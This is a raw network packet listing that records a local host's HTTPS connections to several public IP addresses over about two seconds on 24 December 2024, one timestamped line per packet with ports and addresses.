Dec 24, 2024 11:55:18.924654007 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.927800894 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.929260015 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.929322004 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.929352045 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.929379940 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.929388046 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.929465055 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.930176020 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.930238962 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.930249929 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.932213068 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.932274103 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.932286024 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.932671070 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.932727098 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.932733059 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.932929993 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.932988882 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.932996988 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.936657906 CET	49673	443	192.168.2.16	204.79.197.203
Dec 24, 2024 11:55:18.938064098 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.938159943 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.938354969 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.938374043 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.984663010 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.984680891 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.984695911 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.984713078 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.026885033 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.027003050 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.032756090 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.032789946 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.043340921 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.043360949 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.043386936 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.043395996 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.043479919 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.043509960 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.043560982 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.061876059 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.061908960 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.061990023 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.062025070 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.062045097 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.062073946 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.069031954 CET	49689	80	192.168.2.16	192.229.211.108
Dec 24, 2024 11:55:19.080666065 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.080676079 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.080686092 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.080705881 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.081316948 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.081357956 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.081413984 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.081430912 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.081475973 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.081506014 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.099611998 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.100711107 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.100749016 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.100799084 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.100828886 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.100860119 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.100898981 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.103250027 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.103302956 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.103322983 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.104909897 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.104969025 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.104974031 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.105271101 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.105323076 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.105343103 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.113153934 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.113217115 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.113249063 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.117367029 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.117400885 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.117453098 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.117461920 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.117499113 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.117532015 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.120398045 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.120450974 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.120457888 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.121144056 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.121203899 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.121213913 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.128247023 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.128283978 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.128302097 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.128309011 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.128350973 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.129139900 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.129204035 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.129213095 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.136145115 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.137116909 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.137192011 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.137201071 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.139858007 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139874935 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139892101 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139905930 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139914989 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139942884 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.139956951 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.139995098 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.140002012 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.140043974 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.143831015 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.143887043 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.143893003 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.151782036 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.151846886 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.151853085 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.152995110 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.153052092 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.153059959 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.160259008 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.160325050 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.160331011 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.161025047 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.161067963 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.161082983 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.161092043 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.161143064 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.167422056 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.167481899 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.167488098 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.169095039 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.175915956 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.175960064 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.175981998 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.175992012 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.176040888 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.180246115 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.180299044 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.180304050 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.183013916 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.186675072 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.186733007 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.186738968 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.190045118 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.190099955 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.190108061 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.237267017 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.237303019 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.237369061 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.237379074 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.237432957 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.240638971 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.240642071 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.245995045 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.246076107 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.257716894 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.257744074 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.257822037 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.257832050 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.257870913 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.265803099 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.265896082 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.265906096 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.271903992 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.271986961 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.271996975 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.278081894 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.278165102 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.278173923 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.286092043 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.286180019 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.286190987 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.290828943 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290843010 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290858030 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290879965 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290889025 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290895939 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.290906906 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.290970087 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.290982008 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.291033030 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.292213917 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.292349100 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.293431997 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.293504000 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.293514013 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.294543028 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.294608116 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.294617891 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.294678926 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.294735909 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.294745922 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.294819117 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.294877052 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.295151949 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:19.295169115 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:19.299166918 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.299228907 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.299242973 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.299278021 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.299330950 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.299447060 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:19.299463034 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:19.316462994 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.316483021 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.316509962 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.316540956 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.316550016 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.316564083 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.316600084 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.316647053 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.324851990 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.324928999 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.324939966 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:19.324984074 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.325104952 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.325118065 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:19.336683989 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.423774958 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.423794985 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.423820019 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.423870087 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.423901081 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.423928976 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.423954010 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.435929060 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.435959101 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.436099052 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.436147928 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.436206102 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.447947025 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.447973967 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.448051929 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.448087931 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.448117018 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.448147058 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.458445072 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.458482027 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.458528042 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.458564043 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.458605051 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.458653927 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.471508980 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.471540928 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.471607924 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.471643925 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.471693039 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.471719980 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.476763010 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.476849079 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.476871014 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.481981993 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.482059002 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.482093096 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.526761055 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.613881111 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.613951921 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.614037991 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.614078045 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.614119053 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.614151955 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.624877930 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.624922991 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.624977112 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.625005960 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.625041008 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.625075102 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.635925055 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.635945082 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.636077881 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.636123896 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.636189938 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.645600080 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.645637989 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.645844936 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.645894051 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.645957947 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.651849985 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.651973009 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.652003050 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.656821012 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.656929016 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.656951904 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.662451982 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.662537098 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.662559986 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.667288065 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.667380095 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.667401075 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.673443079 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.673727989 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.673763037 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.678360939 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.678474903 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.678498030 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.683206081 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.683351994 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.683394909 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.731775999 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.811256886 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.811275005 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.811305046 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.811383963 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.811438084 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.811460018 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.811490059 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.818578959 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:19.818605900 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:19.818687916 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:19.818986893 CET	49721	443	192.168.2.16	172.217.21.36
Dec 24, 2024 11:55:19.818996906 CET	443	49721	172.217.21.36	192.168.2.16
Dec 24, 2024 11:55:19.821181059 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.821211100 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.821276903 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.821305990 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.821326017 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.821366072 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.831274986 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.831300974 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.831413031 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.831449032 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.831511974 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.834120035 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.834199905 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.834216118 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.834233046 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.834300995 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.834391117 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.834419012 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:19.834433079 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:19.834472895 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:20.018338919 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:20.018409014 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:20.018842936 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:20.018964052 CET	49722	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:20.018973112 CET	443	49722	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:20.462677002 CET	49723	443	192.168.2.16	104.21.33.126
Dec 24, 2024 11:55:20.462709904 CET	443	49723	104.21.33.126	192.168.2.16
Dec 24, 2024 11:55:20.462819099 CET	49723	443	192.168.2.16	104.21.33.126
